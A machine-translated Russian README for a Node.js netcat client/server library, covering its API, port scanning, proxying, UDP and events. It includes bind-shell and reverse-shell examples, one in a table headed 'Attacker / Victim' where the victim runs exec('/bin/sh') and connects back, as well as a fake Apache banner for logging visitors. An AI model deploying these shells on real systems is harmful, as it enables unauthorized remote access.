Netcat Client и серверные модули, записанные в Pure JavaScript для node.js.
Полностью протестированные модули, которые реализуют все основные функции NetCat. Чтобы использовать в качестве автономного инструмента, установите пакет NC.
| Linux/Mac | Окна |
|---|---|
.auth('pass') ). allow и deny конкретный удаленный IP-адрес. $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) API этого модуля имеет тенденцию следовать как можно больше, исходные CLI Params Netcat.
Например: nc -l -p 2389 эквивалентен nc.port(2389).listen() . Легко, верно?
| Сервер | Клиент |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| Сервер | Клиент |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
или наоборот, вы можете сделать эквивалент nc -l -p 2389 < filename.txt а когда кто -то еще подключается к вашему порту 2389, файл отправляется им, желают ли они этого или нет:
| Сервер | Клиент |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| Сервер | Клиент |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
Сервер будет оставаться в живых и не будет закрыт после первого соединения. ( k() является псевдонимом для keepalive() )
| Сервер | Клиент |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| Сервер | Клиент |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
Метод exec() выполняет заданную команду и трубку вместе с его stdout и stderr в socket клиентов.
| Злоумышленник | Жертва |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat может быть очень легко настроен в качестве прокси -сервера:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) Весь трафик, текущий на localhost:8080 будет перенаправлен на google.com:80 . Точно так же вы можете настроить пересылку порта с помощью одного и того же хоста.
Притворяться сервером Apache:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) Клиент NetCat также предоставляет базовую функцию сканирования портов.
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) Сканер порта является только протоколом TCP. Сканирование UDP не очень эффективно. scan(...) также принимает массив или целое число.
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) Как сервер NetCat, так и клиент поддерживают Unix Socket Conn. Давайте используем наш экземпляр клиента NetCat для подключения к файлу сокета Docker Unix и извлечь список изображений наших контейнеров.
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) Отправьте hello Buffer в порт 2100 , затем через 1000 мс закройте клиент.
port(int) или p(int)NetCat может привязаться к любому локальному порту, при условии, что ограничения привилегий и порты, которые уже используются.
address(host) или addr(host)0.0.0.0 по умолчанию.127.0.0.1 по умолчанию. listen()Сделайте сервер UDP/TCP прослушиваться на ранее установленном порте.
unixSocket(path) - только TCPПри желании вы можете предоставить путь к файлу носка Unix и прослушать/подключиться к нему.
connect() - только TCPТолько на стороне клиента. Пусть клиент подключится к ранее установленному адресу и порту.
retry(ms) - только TCP Только на стороне клиента. Повторите подключение каждую ms Milliseconds, когда соединение теряется.
interval(ms) или i(ms)Только на стороне клиента: указывает интервал времени задержки для отправленных данных. В миллисекундах.
waitTime(ms) или wait(ms)Установите тайм -аут.
ms Milliseconds из первых данных, и если он не получит больше данных, закроет соединение.ms Milliseconds из первых отправленных данных, и если больше нет данных для отправки клиента, закроется. stream()Вернуть ссылку на клиент Duplexstream.
pipe(outStream)Входящие данные трубы от клиента в данное время.
filter(transformFn) Отфильтруйте входящие данные с заданной function (chunk, enc, cb){...} прежде чем быть выпущенным.
NB : данные .on('data', cb) , которые вы получаете, не отфильтрованы. Фильтр применяется только на потоке .pipe(...) .
Известная проблема : through2 сейчас не уважает кодирование. Если вы установите фильтр, вы получите буфер, а метод enc() будет бесполезным.
serve()Серверный метод.
Метод serve принимает либо строку (указав имя файла, убедитесь, что файл существует), читабельный поток или буфер. Когда вы передаете читаемый поток, метод KeepAlive может привести к употреблению потока по первым запросам, и больше нельзя обслуживать (поток не кэширован в буфере).
Более того, при подаче файла или буфера в розетку, труба излучает событие end (EOF) в розетку. Закрытие потока.
send(data [, cb|host])Клиентская сторона:
cb называется после отправки данных.Серверная сторона:
serve() вместо этого.end(data) - только TCPМетод на стороне клиента. Отправить данные и закрыть соединение.
close([cb]) Закройте соединение (или подключения, если выполнены на стороне сервера) и вызовите cb после закрытия гнезда.
enc() Установите кодирование. Наиболее распространенными являются: utf8 , ascii , base64 , hex , binary , hex .
protocol(prot) Установите пользовательский протокол. Использование этого метода обескуражено. Используйте методы tcp() и udp() вместо этого. tcp является значением по умолчанию.
keepalive() или k() - только TCPСерверный метод.
Когда вы устанавливаете KeepAlive, сервер останется в ловушке, и, возможно, внешний проход, предоставленный pipe(outStream) остается открытым.
По умолчанию в режиме UDP прослушивание сохраняется до явного nc.close() .
exec() - только TCP Метод exec() выполняет заданную команду и трубку вместе с его stdout и stderr в socket клиентов. При желании он принимает строку и массив ARGS в качестве второго параметра и параметров Spawn в качестве третьего параметра. Если найден в трубопроводе | Тогда все команды будут обработаны под sh -c .
Пример:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() - только TCPСерверный метод. Верните объект, перечисляющий все ссылки на сокет клиента.
proxy(duplexStream) - TCP Серверный метод. Этот метод подтолкнул сервер входящих/внешних данных в предоставленный Duplexstream. Это как ярлык как для вызовов: .serve(duplexStream) и .pipe(duplexStream) .
output(outStream) или out(outStream) Напишите шестигранную свалку входящего или внешнего трафика в данном потоке outStream .
Строка по умолчанию представляет кусок не менее 16 байтов.
Первым персонажем может быть либо < или > соответственно «входящий кусок», либо «внешний кусок».
scan(portsInterval, cb) - только TCPКлиент NetCat также предоставляет базовую функцию сканирования портов.
Параметры являются мандаториями. Первый параметр указывает порт/s для сканирования. Это может быть единственное целое число, струнный интервал (например, 22-80 ) или массив целого числа ( [22, 23, 1880] ). Обратный вызов возвращается в результате, такого объекта, как { '22': 'open', '23': 'closed' ... } .
init() - только UDP UDP-эквивалент connect() . Просто для клиентов UDP.
bind(<int>) - только UDP Пусть клиент/сервер UDP прослушивает данное порт. Он также будет использоваться в качестве выхода порта, если .port(<n>) не был вызван.
broadcast(<dst>) или b(<dst>) - только UDPУстановите трансляцию для сервера UDP (в конечном итоге вы можете указать адрес назначения).
destination(<dst>) - только UDP Установите адрес назначения. ( 127.0.0.1 - значение по умолчанию)
loopback() - только UDPВключить петлю. Например, когда UDP -сервер отправляется на порт и отправляет сообщение в этот порт, он вернет MSG, если включена Loopback.
bind(int) - только UDP Приведите UDP -сервер/клиент, чтобы прослушать данное порт и использовать набор порта с помощью port() только для выхода пакетов.
Модули NetCat расширяют класс EventEmitter . Вы сможете поймать некоторые события прямо из гнезда. Например, событие data для сервера:
| Сервер | Клиент |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})Излучается, когда сервер получает данные от клиентов.
.on('ready', cb)Излучается, когда сервер успешно прослушивает/привязан к порту.
.on('close', cb)Испускается, когда сервер закрывается.
.on('clientClose', function(socket, hadError){}) - только TCP Вызывается, когда клиент отключается от сервера. Обратный вызов принимает как 1 -й параметр, экземпляр socket просто отключен и Bool Val hadError .
.on('connection', function(socket){}) - только TCPИзлучается, когда новый клиент подключается к серверу.
.on('end', function(socket){}) - только TCPИзлучается, когда клиент заканчивает соединение.
.on('timeout', function(socket){}) - только TCPСпектакль тайм -аут.
.on('waitTimeout', cb) Запускается, когда сервер остается неактивным для указанного времени wait(ms) .
.on('error', function(err){})Испускается по ошибке.
.on('data', function(msg){})Данные с сервера.
.on('close', cb)Испускается, когда клиент закрывается.
.on('waitTimeout', cb) Уволен, когда клиент остается неактивным для указанного времени wait(ms) .
.on('connect', cb) - только TCPИзлучается, когда клиент установил соединение с сервером.
.on('error', function(err){})Испускается по ошибке.
Для автономного использования установите пакет NC CLI:
$ npm install -g nc
Пример:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
Доступные варианты:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] Отладка соответствует режиму словеса. Вы можете включить его с помощью verbose: true param или env var DEBUG=netcat:*
Запустите их с помощью: npm test
Покрытие:
.serve(input) .pipe() и serve() . exec() Рокко Мусулино (@roccomuso)
Грань